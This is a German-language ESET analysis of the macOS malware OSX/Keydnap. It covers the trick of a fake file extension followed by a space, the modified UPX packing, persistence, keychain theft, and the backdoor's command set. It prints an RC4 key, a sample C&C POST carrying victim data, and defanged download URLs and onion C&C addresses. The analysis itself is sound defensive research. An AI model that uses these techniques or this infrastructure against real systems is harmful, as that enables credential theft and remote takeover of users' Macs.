ESET analysiert auch Malware, denen sich OS X jeden Tag ausgeliefert sieht. Diese Malware-Proben sind normalerweise potentielle ungewollte Anwendungen, die Werbeanzeigen in den Browser einschleusen und dann zum Vorschein kommen, wenn der User im Internet surft.
Innerhalb der letzten zwei Wochen haben wir einen interessanten Fall untersucht. Dabei versuchte eine Malware wichtige Eingaben mitzuschneiden und ein permanentes Backdoor zu installieren. Dieser Artikel zeigt alle Komponenten dieser Bedrohung und was wir darüber wissen.
Infektionsweg
Es ist noch nicht ganz klar, wie Opfer auf OS X /Keydnap hereinfallen. Verantwortlich dafür könnten Spam-Nachrichten, Downloads von nicht vertrauenswürdigen Quellen oder kompromittierende E-Mail-Anhänge sein.
Wir wissen, dass ein Downloader in einer .zip Datei verteilt wird. Die Archivdatei enthält eine Mach-O Datei mit einer Endung wie .txt oder .jpg, die Vertrauen erwecken sollen. Allerdings enthalten die Dateiendungen zusätzlich ein Leerzeichen am Ende. Mit einem Doppelklick auf die Datei wird diese somit im Terminal gestartet und nicht die Vorschau oder der Text-Editor.
Fenster mit ZIP und schädlicher .jpg Datei
Nähere Einzelheiten liefern die Dateieigenschaften
Die ZIP enthält auch die Ressourcen, die das Symbol der ausführbaren Datei zeigen. Damit die Chance erhöht wird, dass der User auf die Dateien klickt, ahmen sie bekannte Icons nach. Einmal gestartet, öffnet sich das Terminal-Fenster und die böswillige Nutzlast wird ausgeführt.
OSX/Keydnap downloader
Der Downloader ist eine unsignierte Mach-O ausführbare Datei. Wenn also die Datei von einem Internet-Browser heruntergeladen wird und der iOS Gatekeeper auf der Maschine aktiviert ist, zeigen die neueren Versionen OS X und Mac OS dem Benutzer eine Warnung und die Datei wird nicht ausgeführt.
Die Funktionsweise des Keydnap Downloaders ist simpel:
- Er läd ein Backdoor herunter und installiert es
- Der Inhalt der Mach-O ausführbaren Datei wird durch einen Köder ersetzt - entweder mit einer Base64-kodierten eingebetteten Datei oder durch eine aus dem Internet heruntergeladene.
- Öffnen des Köder-Dokuments (später beschrieben)
- Schließen des Terminal-Fensters, das kurz geöffnet wurde
Das Lockvogel-Dokument ersetzt die Downloader Mach-O-Datei und so ist die bösartige ausführbare Datei nur noch in der ZIP-Datei vorhanden. Der Downloader ist nicht persistent. Allerdings fügt das heruntergeladene Backdoor einen Eintrag in das LaunchAgents- Verzeichnis hinzu um zukünftige Neustarts zu überleben. Das wird ausführlicher im Backdoor-Abschnitt beschrieben.
Wir haben mehrere Varianten des Downloaders gefunden. Eine Liste der verschiedenen Beispiele findet sich am Ende des Artikels.
Interessanterweise haben wir auch Beispiele mit eingebetteten Lockvogel-Dokumente gesehen, die Screenshots von Botnet-C&C-Panels oder Kreditkartennummern zeigen. Das deutet darauf hin, dass Keydnap Nutzer von Untergrund-Foren oder sogar Sicherheitsforscher angreift. Einige Varianten enthalten ein "Build Name". Wir haben drei verschiedene Namen gesehen: elitef*ck, ccshop und transmission.
OSX/Keydnap backdoor
Alle Malware-Proben des Backdoors haben den Dateinamen icloudsyncd. Die Malware verfügt über einen Version-String, der dem C&C-Server übermittelt wird. Bisher haben wir zwei Versionen gesichtet: 1.3.1 erstmals im Mai 2016 und 1.3.5 im Juni.
Die Verschleierungstaktik
Anders als das Downloader-Modul ist das Backdoor mit einer modifizierten Version von UPX gepackt. Zwei Modifikationen wurden an UPX-Version 3.91 vorgenommen:
- Die magische Bytes UPX! im UPX-Header wurden mit ASS7 ersetzt
- Die dekomprimierten Code- und String-Abschnitte sind XORed mit 0x01. Während der Selbst-Entpackung wird XOR nach der Dekompression und vor dem Aufruf der Hauptfunktion angewendet
Ein Patch für UPX ist auf ESETs Malware-Research Github Repository erhältlich. Dieses erlaubt den Keydnap Backdoor mit dem üblichen „upx -d“-Befehl zu entpacken.
Persistenz
Einmal gestartet, installiert das Keydnap Backdoor eine plist Datei in /Library/LaunchAgents/ insofern es Root-Rechte besitzt. Ansonsten lautet der Pfad $USER/Library/LaunchAgents/ um zumindest nicht durch Neustarts beeinflusst zu werden. Der Library/Application Support/com.apple.iCloud.sync.daemon Pfad wird dazu gebraucht, die icloudsyncd zu behalten. Diese Direktion beinhaltet auch die Prozess-ID der laufenden Malware in process.id und „Build Name“ in build.id. Mit Administrator-Rechten wird auch der Nutzer von icloudsyncd zu root:admin und schafft die ausführbaren Dateien setuid und setgid, die zukünftiges Root-Recht garantieren.
Um den Ort der schädlichen Datei zu verstecken, tauscht Keydnap argv[0] mit/usr/libexec/icloudsyncd –launchd netlogon.bundle. Hier ist ein Beispiel des Ergebnisses von ps ax auf einem kompromittierten System.
$ ps ax
[...]
566 ?? Ss 0:00.01 /usr/libexec/icloudsyncd -launchd netlogon.bundle
[...]
Ergebnis von ps ax
Stehlen von Anmeldedaten
Das OS X / Keydnap Backdoor ist mit einem Mechanismus ausgestatten, der Passwörter und Schlüssel abfangen und auslesen kann, die in OS X Keychain gespeichert sind. Der Autor nahm einfach das Tool keychaindump von Github. Das Programm liest den Speicher von securityd aus und sucht nach dem passenden Entschlüsselungsschlüssel für Keychain. Dieser Vorgang wird in einem Paper von K. Lee und H. Koo näher erläutert. Wir denken, einer der Gründe warum die Quelle direkt von Github kommt, ist die Tatsache, dass die Funktionsnamen im Quellcode identisch mit denen der Keydnap Malware sind.
Command & Control Kommunikation (C&C)
Keydnap benutzt den onion.to Tor2Web Proxy über HTTPS, um an einen C&C-Server zu kommunizieren. Uns sind zwei onion-Adressen aus unterschiedlichen Malware-Proben bekannt:
- og5wcesdfjzne7255.onin (Down)
- r2elajikcosf7zee.onion (Bestand zum Zeitpunkt der Erstellung des Artikels)
Die HTTP-Quelle startet immer mit /api/osx/ und beinhaltet Anweisung wie:
- /api/osx/started berichtet, dass der Bot seinen Dienst aufgenommen hat
- /api/osx/keychain Extraktion des Inhalts der Keychain
- /api/osx/get_task?bot_id={botid}&version={version} Anfrage einer Aufgabe (wie unten beschrieben)
- /api/osx/cmd_executed berichtet, dass der Output eines Befehls ausgeführt wurde
- /api/osx/task_complete?bot_id={botid}&task_id={taskid} berichtet, dass Anweisung abgeschlossen wurde
HTTP POST beinhaltet zwei Felder: bot_id und data. Das „Data“-Feld ist mit dem RC4-Schlüssel u2RLhh+!LGd9p8!ZtuKcN verschlüsselt. Bei der Extrahierung der Keychain wird anstatt dem keychain -Feld data verwendet.
POST /api/osx/started HTTP/1.1
Host: r2elajikcosf7zee.onion.to
Accept: */*
Content-Length: 233
Content-Type: application/x-www-form-urlencoded
bot_id=9a8965ba04e72909f36c8d16aa801794c6d905d045c2b704e8f0a9bbb97d3eb8&data=psX0DKYB0u...5TximyY%2BQY%3D
Malware schickt Startinformationen
> rc4decrypt(base64decode("psX0DKYB0u...5TximyY+QY="), "u2RLhh+!LGd9p8!ZtuKcN")
device_model=MacBookPro9,2
bot_version=1.3.5
build_name=elitef*ck
os_version=15.5.0
ip_address=4.5.6.7
has_root=0
Entschlüsselte Daten werden zum C&C-Server gesendet
Die bot_id wird mit Hilfe der folgenden Informationen durch SHA-256 konstruiert:
- Die Hardware UUID (IOPlatformUUID)
- Die System-Seriennummer (IOPlatformSerialNumber)
- Die Modellkennung des Mac (z.B.: MacBookPro9,2)
Die meisten Aktionen sind selbsterklärend. Ein Startbefehl sendet die folgenden Informationen an den C&C-Server:
- device_model: Modellkennung (e.g.: MacBookPro9,2)
- bot_version: Version von Keydnap
- build_name: der “Build Name”, der vom Downloader kommt
- os_version: OS X oder mac OS Kernel Version
- ip_address: externe IP-Addresse berichtet durch ipify.org
- has_root: 1 wenn als root ausgeführt, sonst 0
Backdoor-Befehle
Die Antwort auf get_task enthält eine ganze Zahl, um die Art des Befehls und optionale Argumente zu identifizieren. Die Funktion mit dem Namen get_and_execute_tasks umfasst zehn verschiedene Befehlstypen.
Befehl | Beschreibung |
---|---|
0 | Deinstalliere Keynap und beende |
1 | Update das Backdoor von einer Base64-verschlüsselten Datei |
2 | Update die URL, die durch das Backdoor gegeben wurde |
3 | Dekodiere und führe eine Base64-kodierte Datei aus |
4 | Dekodiere und führen ein Base64-kodiertes Python-Skript aus |
5 | Downloade und führe eine Datei von folgender URL aus |
6 | Downloade und führ ein Python Script von einer URL aus |
7 | Führe einen Befehl aus und berichte dem C&C-Server über den Ausgang |
8 | Fordere das nächste Mal Administratorrechte, wenn der Benutzer eine Anwendung startet |
9 | Dekodiere und starte oder stoppe die Base64-kodierte Datei calledauthd_service |
Die letzten zwei Befehle stechen heraus. Befehl Nummer 8 in der Tabelle muss gesendet werden, wenn Keydnap nicht unter Root-Rechten läuft. Ist das der Fall, beginnt das Backdoor, die Prozessanzahl des Benutzers zu überwachen. Sobald zwei neue Prozesse innerhalb von zwei Sekunden erstellt werden, wird Keydnap ein Fenster einblenden. Dieses fragt nach den Anmeldeinformationen des Users. Das Erscheinungsbild entspricht dem normalen Fenster, dass zum Vorschein kommt, wenn OS X nach Admin-Rechten fragt. Fällt ein Opfer auf diese Masche herein, wird das Backdoor fortan Root-Rechte besitzen und Daten aus Keychain auslesen.
Wir wissen nicht, was der ausführbare authd_service Befehl 9 ist, weil wir diesen nicht verwendet sahen. Es könnte als eine Art dritte Stufe von Malware auf bestimmte interessante Ziele eingesetzt werden.
Schlussfolgerung
Es gibt ein paar fehlende Stücke in diesem Puzzle. Bisher wissen wir nicht ganz genau wie Keydnap verteilt wird. Unbekannt ist auch die Opferzahl bereits Geschädigter.
Zwar gibt es mehrere Sicherheitsmechanismen in OS X, die für Malware ein Hindernis darstellen. Dennoch ist es möglich, die Sandbox des Users zu umgehen und bösartigen Code einzuschleusen, indem im Prinzip einfach das Symbol einer Mach-O-Datei ersetzt wird.
Downloader
Alle unten aufgeführten Downloader sind als OSX/TrojanDownloader.Keydnap.A durch ESET identifiziert worden.
SHA-1 | Dateiname | auf VirusTotal am | Backdoor Download URL | Köder oder URL |
---|---|---|---|---|
07cd177f5baf8c1bdbbae22f1e8f03f22dfdb148 | “info_list.txt “ | 2016-05-09 | hxxp://dev.aneros.com/media/icloudsyncd | “Most Common Interview Questions” |
78ba1152ef3883e63f10c3a85cbf00f2bb305a6a | “screenshot_2016-06-28-01.jpg “ | 2016-06-28 | hxxp://freesafesoft.com/icloudsyncd | BlackHat-TDS Panel screenshot |
773a82343367b3d09965f6f09cc9887e7f8f01bf | “screenshot.jpg “ | 2016-05-07 | hxxp://dev.aneros.com/media/icloudsyncd | Firefox 20 about screenshot |
dfdb38f1e3ca88cfc8e9a2828599a8ce94eb958c | “CVdetails.doc “ | 2016-05-03 | hxxp://lovefromscratch.ca/wp-admin/css/icloudsyncd | hxxp://lovefromscratch.ca/wp-admin/CVdetails.doc |
2739170ed195ff1b9f00c44502a21b5613d08a58 | “CVdetails.doc “ | 2016-05-03 | hxxp://lovefromscratch.ca/wp-admin/css/icloudsyncd | hxxp://lovefromscratch.ca/wp-admin/CVdetails.doc |
e9d4523d9116b3190f2068b1be10229e96f21729 | “logo.jpg “ | 2016-06-02 | hxxp://dev.aneros.com/media/icloudsyncd | sanelite logo |
7472102922f91a78268430510eced1059eef1770 | “screenshot_9324 2.jpg “ | 2016-06-28 | hxxp://freesafesoft.com/icloudsyncd | Some C&C panel |
Backdoor
SHA-1 | ESET Erkennungsname | C&C | Version |
---|---|---|---|
a4bc56f5ddbe006c9a68422a7132ad782c1aeb7b | OSX/Keydnap.A | hxxps://g5wcesdfjzne7255.onion.to | 1.3.1 |
abf99129e0682d2fa40c30a1a1ad9e0c701e14a4 | OSX/Keydnap.A | hxxps://r2elajikcosf7zee.onion.to | 1.3.5 |
Backdoor C&C-Server
- hxxps://g5wcesdfjzne7255.onion.to/
- hxxps://r2elajikcosf7zee.onion.to/
Keydnap IoCs sind ebenfalls verfügbar und aktuell auf ESET Malware-ioc Github-Repository.